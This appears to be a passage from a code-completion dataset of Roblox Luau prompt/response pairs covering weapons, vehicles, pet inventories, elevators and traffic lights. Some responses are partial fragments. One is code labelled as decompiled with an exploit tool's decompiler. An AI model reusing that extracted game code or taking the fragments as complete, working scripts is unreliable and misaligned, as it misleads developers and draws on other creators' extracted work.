	force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
	force.Parent = Tool.Parent.Torso
	wait(.3)
	swordOut()
	wait(.3)
	force.Parent = nil
	wait(.5)
	swordUp()

	damage = slash_damage
end

function swordUp()
	Tool.GripForward = Vector3.new(-1,0,0)
	Tool.GripRight = Vector3.new(0,1,0)
	Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
	Tool.GripForward = Vector3.new(0,0,1)
	Tool.GripRight = Vector3.new(0,-1,0)
	Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
	-- parry
end

Tool.Enabled = true
local last_attack = 0
function onActivated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print("Humanoid not found")
		return
	end

	t = r.Stepped:wait()

	if (t - last_attack < .2) then
		lunge()
	else
		attack()
	end

	last_attack = t

	wait(.5)

	Tool.Enabled = true
end

function onEquipped()
	UnsheathSound:play()
end

script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)

connection = sword.Touched:connect(blow)


Prompt: -- This will do the edit gui popup

Response:
function Triggered(Player)
	local PlayerName = Player.Name
	if Owner.Value == PlayerName then
		UpdateSign:FireClient(Player)
	end
end

Prompt.Triggered:Connect(Triggered)


Prompt:
--[=[
	Detects if a dictionary has a certain key.

	```lua
	local Dictionary = {
		Hay = "A",
		MoreHay = "B",
		Needle = "C",
		SomeHay = "D",
	}

	print(TableKit.HasKey(Dictionary, "Needle")) -- prints true
	```

	@within TableKit
	@param dictionary table
	@param key unknown
	@return boolean
]=]

Response:
function TableKit.HasKey(dictionary: { [any]: unknown }, key: any): boolean
	return dictionary[key] ~= nil
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function getLevel(p1)
	local v2 = 0;
	local l__Value__3 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value;
	local v4 = 0 - 1;
	while true do
		if 100 * v4 + v2 <= p1 then
			if v4 ~= l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value then

			else
				return v4;
			end;
			if p1 < 100 * v4 + v2 + (100 + 25 * v4) then
				return v4;
			end;
		end;
		v2 = v2 + v4 * 25;
		if 0 <= 1 then
			if v4 < l__Value__3 then

			else
				break;
			end;
		elseif l__Value__3 < v4 then

		else
			break;
		end;
		v4 = v4 + 1;
	end;
end;
function GetFolderFromPetID(p2)
	local v5, v6, v7 = pairs(l__LocalPlayer__1.Pets:GetChildren());
	while true do
		local v8, v9 = v5(v6, v7);
		if v8 then

		else
			break;
		end;
		v7 = v8;
		if v9.PetID.Value == p2 then
			return v9;
		end;
	end;
	return nil;
end;
function getLayoutOrder(p3)
	local v10 = GetFolderFromPetID(p3);
	local l__Value__11 = l__ReplicatedStorage__1.Pets.Rarities:FindFirstChild(l__ReplicatedStorage__1.Pets.Models:FindFirstChild(v10.Name).Settings.Rarity.Value).Order.Value;
	local l__Value__12 = l__ReplicatedStorage__1.Pets.Settings.MaxPetLevel.Value;
	local v13 = getLevel(v10.TotalXP.Value);
	local v14 = {};
	local v15 = 0;
	local v16, v17, v18 = pairs(l__ReplicatedStorage__1.Pets.Models:GetChildren());
	while true do
		local v19, v20 = v16(v17, v18);
		if v19 then

		else
			break;
		end;
		v18 = v19;
		v14[#v14 + 1] = v20;
	end;
	table.sort(v14, function(p4, p5)
		return p4:GetFullName() < p5:GetFullName();
	end);
	local v21, v22, v23 = pairs(v14);
	while true do
		local v24 = nil;
		local v25 = nil;
		v25, v24 = v21(v22, v23);
		if v25 then

		else
			break;
		end;
		v23 = v25;
		if v10.Equipped.Value == true then
			if v10.Name == v24.Name then
				return l__Value__12 * #v14 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__11) + v15 * l__Value__12 + (l__Value__12 - v13);
			end;
		elseif v10.Name == v24.Name then
			return #v14 * #l__ReplicatedStorage__1.Pets.Rarities:GetChildren() * l__Value__12 + l__Value__12 * #v14 * (#l__ReplicatedStorage__1.Pets.Rarities:GetChildren() - l__Value__11) + v15 * l__Value__12 + (l__Value__12 - v13);
		end;
		v15 = v15 + 1;
	end;
end;
local u2 = Color3.fromRGB(100, 100, 100);
local l__Inventory__3 = script.Parent.Parent.Parent.Parent.MainFrame.Inventory;
local l__Pets__4 = l__LocalPlayer__1:WaitForChild("Pets");
local l__TextLabel__5 = script.Parent.Parent.Parent.Parent.MainFrame.StorageDisplay.TextLabel;
local l__Data__6 = l__LocalPlayer__1:WaitForChild("Data");
local l__TextLabel__7 = script.Parent.Parent.Parent.Parent.MainFrame.EquippedDisplay.TextLabel;
local l__ImageColor3__8 = script.Parent.ImageColor3;
script.Parent.MouseButton1Click:Connect(function()
	if script.Parent.TextLabel.Text == "Equip" then
		local v26, v27 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Equip", {
			PetID = script.Parent.Parent.Parent.PetID.Value
		});
		if v26 == "Success" then
			script.Parent.ImageColor3 = u2;
			script.Parent.TextLabel.Text = "Unequip";
			for v28, v29 in pairs(l__Inventory__3:GetChildren()) do
				if not v29:IsA("UIGridLayout") then
					v29.LayoutOrder = getLayoutOrder(v29.PetID.Value);
					if v29.PetID.Value == script.Parent.Parent.Parent.PetID.Value then
						v29.EquipMarker.Visible = true;
					end;
				end;
			end;
			local v30 = 0;
			for v31, v32 in pairs(l__Pets__4:GetChildren()) do
				if v32.Equipped.Value == true then
					v30 = v30 + 1;
				end;
			end;
			l__TextLabel__5.Text = #l__Pets__4:GetChildren() .. "/" .. l__Data__6.MaxStorage.Value;
			l__TextLabel__7.Text = v30 .. "/" .. l__Data__6.MaxEquip.Value;
			return;
		elseif v26 == "Error" then
			print(v27);
			return;
		end;
	elseif script.Parent.TextLabel.Text == "Unequip" then
		local v33, v34 = l__ReplicatedStorage__1.RemoteEvents.PetActionRequest:InvokeServer("Unequip", {
			PetID = script.Parent.Parent.Parent.PetID.Value
		});
		if v33 == "Success" then
			script.Parent.ImageColor3 = l__ImageColor3__8;
			script.Parent.TextLabel.Text = "Equip";
			for v35, v36 in pairs(l__Inventory__3:GetChildren()) do
				if not v36:IsA("UIGridLayout") then
					v36.LayoutOrder = getLayoutOrder(v36.PetID.Value);
					if v36.PetID.Value == script.Parent.Parent.Parent.PetID.Value then
						v36.EquipMarker.Visible = false;
					end;
				end;
			end;
			local v37 = 0;
			for v38, v39 in pairs(l__Pets__4:GetChildren()) do
				if v39.Equipped.Value == true then
					v37 = v37 + 1;
				end;
			end;
			l__TextLabel__5.Text = #l__Pets__4:GetChildren() .. "/" .. l__Data__6.MaxStorage.Value;
			l__TextLabel__7.Text = v37 .. "/" .. l__Data__6.MaxEquip.Value;
			return;
		elseif v33 == "Error" then
			print(v34);
		end;
	end;
end);


Prompt: -- Vitesse de déplacement en secondes

Response:
local moveSpeed = 2
local isAtEnd = false


Prompt: -- Services

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ReplicatedFirst = game:GetService("ReplicatedFirst")
local Players = game:GetService("Players")
local TeleportService = game:GetService("TeleportService")
local StarterPack = game:GetService("StarterPack")

local Conf = require(ReplicatedFirst.Configurations.MainConfiguration)
local Log = require(ReplicatedStorage.Libraries.Log)
local Util = require(ReplicatedStorage.Libraries.Util)
local Broadcast = require(ReplicatedStorage.Libraries.Broadcast)

local MatchmakingDestination = require(ReplicatedStorage.Libraries.MatchmakingDestination)

local WeaponsSystem = require(ReplicatedStorage.WeaponsSystem.WeaponsSystem)
local DamageHandler = require(ReplicatedStorage.Core.DamageHandler)

local WeaponsFolder = ReplicatedStorage.Assets.Weapons


Prompt: --[[Transmission]]

Response:
Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]


Prompt: --------STAGE--------

Response:
game.Workspace.Screens.Current.Value = game.Workspace.Screens.Main.Value
game.Workspace.back1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.back2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crewbig1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crewsmall1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.djstand.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.djtv.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side3.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side4.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side11.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.side12.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.sidebig1.Decal.Texture = game.Workspace.Screens.Main.Value

if game.Workspace.CurrentStageTV.Value == "1" then
game.Workspace.main1.Decal.Texture = game.Workspace.Screens.Main.Value
end


Response:
local defaultMenuFieldOfView = 70
local defaultMenuBlurIntensity = 20

local defaultMenuMusicVolume = 0.5
local defaultGameMusicVolume = 0.35


Prompt:
----------------------------------
------------FUNCTIONS-------------
----------------------------------

Response:
function WeldChanged(property)
	if property == "Parent" and SeatWeld.Parent == nil then
		SeatWeld = nil
		Deactivate()
		BreakSeatConnections()
	end
end
function ChildAdded(child)
	if child:IsA("Weld") then
		local root = child.Part1
		local character = root.Parent
		local player = game.Players:GetPlayerFromCharacter(character)
		if player then
			SeatWeld = child
			Activate(player)
			MakeSeatConnections()
		end
	end
end


Response:
function onClicked()
script.Parent.Parent.Down.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 0
script.Parent.Click:Play()
script.Parent.BrickColor = BrickColor.new("Really red")
script.Parent.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 0
wait(2)
script.Parent.Parent.DoorOutside2.CanCollide = true
script.Parent.Parent.DoorOutside2.Transparency = 0
script.Parent.Parent.DoorInside.Transparency = 0
script.Parent.Parent.DoorInside.CanCollide = true
script.Parent.Parent.DoorInside.Close:Play()
wait(3)
script.Parent.Parent.Screen.SurfaceGui.Frame.Down.Visible = true
Car.Start:Play()
Car.Run:Play()
LiftDown:Play()
wait(12)
script.Parent.Parent.Screen.SurfaceGui.Frame.TextLabel.Text = "SECRET BASE"
script.Parent.Parent.Screen.SurfaceGui.Frame.Down.Visible = false
Car.Start:Stop()
Car.Run:Stop()
Car.Stop:Play()
wait(2)
door.Transparency = 1
door.CanCollide = false
script.Parent.Parent.DoorOutside.CanCollide = false
script.Parent.Parent.DoorOutside.Transparency = 1
Car.Ding:Play()
wait(5)
script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 12
script.Parent.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Up.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 12
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: -- Experimental Create Event Handle API.

Response: exports.enableCreateEventHandleAPI = false


Prompt: -- created by Dandystan, message on Roblox to provide feedback


Prompt:
--[=[
	Binds the given update function to render stepped.

	```lua
	local spring = Spring.new(0)
	local maid = Maid.new()

	local startAnimation, maid._stopAnimation = StepUtils.bindToRenderStep(function()
		local animating, position = SpringUtils.animating(spring)

		print(position)

		return animating
	end)

	spring.t = 1
	startAnimation()
	```

	:::tip
	Be sure to call the disconnect function when cleaning up, otherwise you may memory leak.
	:::

	@param update () -> boolean -- should return true while it needs to update
	@return (...) -> () -- Connect function
	@return () -> () -- Disconnect function
]=]

Response:
function StepUtils.bindToRenderStep(update)
	return StepUtils.bindToSignal(RunService.RenderStepped, update)
end


Prompt:
--[=[
	Retrieves the rank of the player in the group.

	@param player Player
	@param groupId number
	@return Promise<number> -- Generally from 0 to 255
]=]

Response:
function GroupUtils.promiseRankInGroup(player, groupId)
	assert(typeof(player) == "Instance" and player:IsA("Player"), "Bad player")
	assert(type(groupId) == "number", "Bad groupId")

	return Promise.spawn(function(resolve, reject)
		local rank = nil
		local ok, err = pcall(function()
			rank = player:GetRankInGroup(groupId)
		end)

		if not ok then
			return reject(err)
		end

		if type(rank) ~= "number" then
			return reject("Rank is not a number")
		end

		return resolve(rank)
	end)
end


Prompt:
-----------------
--| Constants |--
-----------------

Response:
local BLAST_RADIUS = 8 -- Blast radius of the explosion
local BLAST_DAMAGE = 100 -- Amount of damage done to players
local BLAST_FORCE = 1000 -- Amount of force applied to parts

local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these


Prompt: ---- Change these settings to change stuff (keep the commas, lua doesn't understand n00b syntax)

Response:
local settings = {
	splatters_per_health_inc = 1,     ---- The amount of blood splatters made when you lose (damage_inc) of health
	damage_inc = 3,                   ---- The increment of damage that must be done at a time to trigger blood splatters
	remove_time = 20,                 ---- The time (in seconds) until a blood splatter is removed after it is created
	min_splatter_time = 0,            ---- The delay time (minimum) until another blood splatter is made
	max_splatter_time = 0.05,         ---- The delay time (maximum) until another blood splatter is made
	min_transparency = 0.2,           ---- The (minimum) transparency of a blood splatter
	max_transparency = 0,             ---- The (maximum) transparency of a blood splatter
	min_size_x = 3,                 ---- The (minimum) size of a blood splatter on the X axis
	max_size_x = 8,                   ---- The (maximum) size of a blood splatter on the X axis
	min_size_z = 3,                 ---- The (minimum) size of a blood splatter on the Z axis
	max_size_z = 8,                   ---- The (maximum) size of a blood splatter on the Z axis
	tran_tw_time_min = 0.1,           ---- The (minimum) time to tween the size of a blood splatter
	tran_tw_time_max = 0.5,           ---- The (maximum) time to tween the size of a blood splatter
	size_tw_time_min = 0.1,           ---- The (minimum) time to tween the transparency of a blood splatter
	size_tw_time_max = 0.6            ---- The (maximum) time to tween the transparency of a blood splatter
}


Prompt: -- Initialize the tool

Response:
local MaterialTool = {

	Name = 'Material Tool';
	Color = BrickColor.new 'Bright violet';

};


Prompt: --| Custom |--

Response:
local Distance = 30 -- Distance (hitbox)
local Damage = 10 -- damage


Prompt:
--local d = function ()
--	Zombie.Animation.Looped = true
--	Zombie.Animation:Play(1)
--end


Prompt: -- Inheritance:

Response:
rev_ReplicaSetParent.OnClientEvent:Connect(function(replica_id, parent_replica_id) -- (replica_id, parent_replica_id)
	local replica = Replicas[replica_id]
	local old_parent_children = replica.Parent.Children
	local new_parent = Replicas[parent_replica_id]
	table.remove(old_parent_children, table.find(old_parent_children, replica))
	table.insert(new_parent.Children, replica)
	replica.Parent = new_parent
	-- Trigger child added:
	local child_listener_table = ChildListeners[parent_replica_id]
	if child_listener_table ~= nil then
		for i = 1, #child_listener_table do
			child_listener_table[i](replica)
		end
	end
end)


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 1740		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 2000		--		Use sliders to manipulate values
	Tune.Redline		= 12000		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: ----------------------This is just an example-----------------------------

Response:
	script.Parent.Parent.Ammo.Visible = true
	script.Parent.Parent.Ammo.Text = ammo2.Value


Response:
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
    if (frameName == "End") then
        --print("Keyframe : ".. frameName)
        playToolAnimation(toolAnimName, 0.0, Humanoid)
    end
end
function playToolAnimation(animName, transitionTime, humanoid)
    local roll = math.random(1, animTable[animName].totalWeight)
    local origRoll = roll
    local idx = 1
    while (roll > animTable[animName][idx].weight) do
        roll = roll - animTable[animName][idx].weight
        idx = idx + 1
    end
    --print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
    local anim = animTable[animName][idx].anim
    if (toolAnimInstance ~= anim) then
        if (toolAnimTrack ~= nil) then
            toolAnimTrack:Stop()
            toolAnimTrack:Destroy()
            transitionTime = 0
        end
        -- load it to the humanoid; get AnimationTrack
        toolAnimTrack = humanoid:LoadAnimation(anim)
        -- play the animation
        toolAnimTrack:Play(transitionTime)
        toolAnimName = animName
        toolAnimInstance = anim
        currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
    end
end
function stopToolAnimations()
    local oldAnim = toolAnimName
    if (currentToolAnimKeyframeHandler ~= nil) then
        currentToolAnimKeyframeHandler:disconnect()
    end
    toolAnimName = ""
    toolAnimInstance = nil
    if (toolAnimTrack ~= nil) then
        toolAnimTrack:Stop()
        toolAnimTrack:Destroy()
        toolAnimTrack = nil
    end
    return oldAnim
end


Prompt: -- Make Connection strict

Response:
setmetatable(Connection, {
	__index = function(tb, key)
		error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
	end,
	__newindex = function(tb, key, value)
		error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
	end
})


Prompt: -- Libraries

Response:
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
local Roact = require(Vendor:WaitForChild('Roact'))
local ColorPicker = require(UI:WaitForChild('ColorPicker'))
local Dropdown = require(UI:WaitForChild('Dropdown'))
local Signal = require(Libraries:WaitForChild('Signal'))


Prompt:
-- Removes an object's tree node. Called when the object stops existing in the
-- game tree.

Response:
removeObject = function(object)
	local objectNode = NodeLookup[object]
	if not objectNode then
		return
	end

	local visible = nodeIsVisible(objectNode)

	Selection:Remove(object,true)

	local parent = objectNode.Parent
	remove(parent,objectNode.Index)
	NodeLookup[object] = nil
	connLookup[object]:disconnect()
	connLookup[object] = nil

	if visible then
		updateList()
	elseif nodeIsVisible(parent) then
		updateScroll()
	end
end


Prompt: -- declarations

Response:
local head = script.Parent
local sound = head:findFirstChild("Victory")

function onTouched(part)
	local h = part.Parent:findFirstChild("Humanoid")
	if h~=nil then
sound:play()
if part.Parent:findFirstChild("Torso"):findFirstChild("roblox").Texture == nil then return end
part.Parent:findFirstChild("Torso"):findFirstChild("roblox").Texture=""
part.Parent:findFirstChild("Head").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Torso").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Left Arm").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Right Arm").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Left Leg").BrickColor = BrickColor.new(1)
part.Parent:findFirstChild("Right Leg").BrickColor = BrickColor.new(1)
	end
end

script.Parent.Touched:connect(onTouched)


Prompt:
-- jest --expand
--
-- Given array of aligned strings with inverse highlight formatting,
-- return joined lines with diff formatting.

Response:
local function joinAlignedDiffsExpand(diffs: Array<Diff>, options: DiffOptionsNormalized): string
	return table.concat(
		Array.map(diffs, function(diff, i: number, diffs_: { [number]: any }): string
			local line = diff[2]
			-- ROBLOX deviation: 1-indexing
			local isFirstOrLast = i == 1 or i == #diffs_

			local case = diff[1]
			if case == DIFF_DELETE then
				return printDeleteLine(line, isFirstOrLast, options)
			elseif case == DIFF_INSERT then
				return printInsertLine(line, isFirstOrLast, options)
			else
				return printCommonLine(line, isFirstOrLast, options)
			end
		end),
		"\n"
	)
end

return {
	joinAlignedDiffsNoExpand = joinAlignedDiffsNoExpand,
	joinAlignedDiffsExpand = joinAlignedDiffsExpand,
}


Prompt:
--[[
    Indexes the avatar joints and gives them a default orientation
]]

Response:
function ClientAvatarComponent:setupJoints()
	self.shoulders = {}
	self.hips = {}
	self.knees = {}

	local leftShoulder = self.avatar:FindFirstChild("LeftShoulder", true)
	local rightShoulder = self.avatar:FindFirstChild("RightShoulder", true)
	local leftHip = self.avatar:FindFirstChild("LeftHip", true)
	local rightHip = self.avatar:FindFirstChild("RightHip", true)
	local leftKnee = self.avatar:FindFirstChild("LeftKnee", true)
	local rightKnee = self.avatar:FindFirstChild("RightKnee", true)

	-- Transform doesn't replicate, so this is applied clientside on each client
	-- As animations can't be shared between users yet, we can't use an animation for this

	if leftShoulder and leftShoulder:IsA("Motor6D") then
		leftShoulder.Transform = CFrame.Angles(0.3 * math.pi, 0, 0)
		self.shoulders.left = leftShoulder
	end
	if rightShoulder and rightShoulder:IsA("Motor6D") then
		rightShoulder.Transform = CFrame.Angles(0.3 * math.pi, 0, 0)
		self.shoulders.right = rightShoulder
	end
	if leftHip and leftHip:IsA("Motor6D") then
		leftHip.Transform = CFrame.Angles(0.5 * math.pi, 0, 0)
		self.hips.left = leftHip
	end
	if rightHip and rightHip:IsA("Motor6D") then
		rightHip.Transform = CFrame.Angles(0.5 * math.pi, 0, 0)
		self.hips.right = rightHip
	end
	if leftKnee and leftKnee:IsA("Motor6D") then
		leftKnee.Transform = CFrame.Angles(-0.5 * math.pi, 0, 0)
		self.knees.left = leftKnee
	end
	if rightKnee and rightKnee:IsA("Motor6D") then
		rightKnee.Transform = CFrame.Angles(-0.5 * math.pi, 0, 0)
		self.knees.right = rightKnee
	end
end


Prompt: --Reset First

Response:
LeftHip.C1 = CFrame.new(3,0,0)
RightHip.C1 = CFrame.new(-3,0,0)

print("Completed")

while true do
	LeftHip.C1 = CFrame.new(3,0,0-5)
	RightHip.C1 = CFrame.new(-3,0,0+5)
	for i = 1,10 do
		LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,0.5)
		RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,-0.5)
		--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0)
		--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
		wait()
	end
	for i = 1,10 do
		LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,0.5)
		RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,-0.5)
		--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0)
		--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
		wait()
	end
	sp.Parent.Torso["Footstep"..math.random(1,3)]:Play()
	for i = 1,10 do
		LeftHip.C1 = LeftHip.C1 * CFrame.new(0,0.5,-0.5)
		RightHip.C1 = RightHip.C1 * CFrame.new(0,-0.5,0.5)
		--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,0.5,0)
		--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
		wait()
	end
	for i = 1,10 do
		LeftHip.C1 = LeftHip.C1 * CFrame.new(0,-0.5,-0.5)
		RightHip.C1 = RightHip.C1 * CFrame.new(0,0.5,0.5)
		--sp.Parent.Waist.CFrame = sp.Parent.Waist.CFrame * CFrame.new(0,-0.5,0)
		--sp.Parent.Waist.RotVelocity = sp.Parent.Waist.RotVelocity * Vector3.new(1,0,1)
		wait()
	end
	sp.Parent.Torso["Footstep"..math.random(1,3)]:Play()
end


Prompt:
--[[if player and player.Parent:findFirstChild("Humanoid") then
local enemy = game.Players:findFirstChild(player.Parent.Name)
if enemy then
if enemy.TeamColor ~= pler.TeamColor then
if player.Parent:findFirstChild("Head") and not pler.PlayerGui:findFirstChild(player.Parent.Name) then

local big = Instance.new("BillboardGui",pler.PlayerGui)
big.Name = player.Parent.Name
big.Adornee = player.Parent:findFirstChild("Head")
big.Size = UDim2.new( 1.0, 0, 1.0, 0 )
big.StudsOffset = Vector3.new( 0, 2, 0 )

local name = Instance.new("TextLabel",big)
name.Position = UDim2.new( 0.5, 0, 0, 0 )
name.FontSize = 3
name.BackgroundTransparency = 1
name.Size = UDim2.new(0, 0, 0, 0 )
name.Text = player.Parent.Name
name.TextColor3 = Color3.new(25, 0, 0)

game.Debris:AddItem(big,1)

end
end
end
end]]

Response:
end
end
function on(mouse)
while true do
wait(.5)
Run(mouse)
end
end

Tool.Equipped:connect(on)


Response:
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 1
	PedValues.PedSignal2a.Value = 1
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 2
	PedValues.PedSignal2a.Value = 2
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 1
	TurnValues.TurnSignal2a.Value = 3
	wait(10)--Green Time (BEGIN SIGNAL2 PROTECTED TURN GREEN)
	TurnValues.TurnSignal2.Value = 2
	wait(4)--Yield Time (YIELD SIGNAL2 PROTECTED TURN GREEN)
	TurnValues.TurnSignal2.Value = 3
	SignalValues.Signal2a.Value = 3
	wait(2)-- All Red Cycle
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10) -- Green Time + Time for Signal2a
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)--ALL RED
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 1
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN)
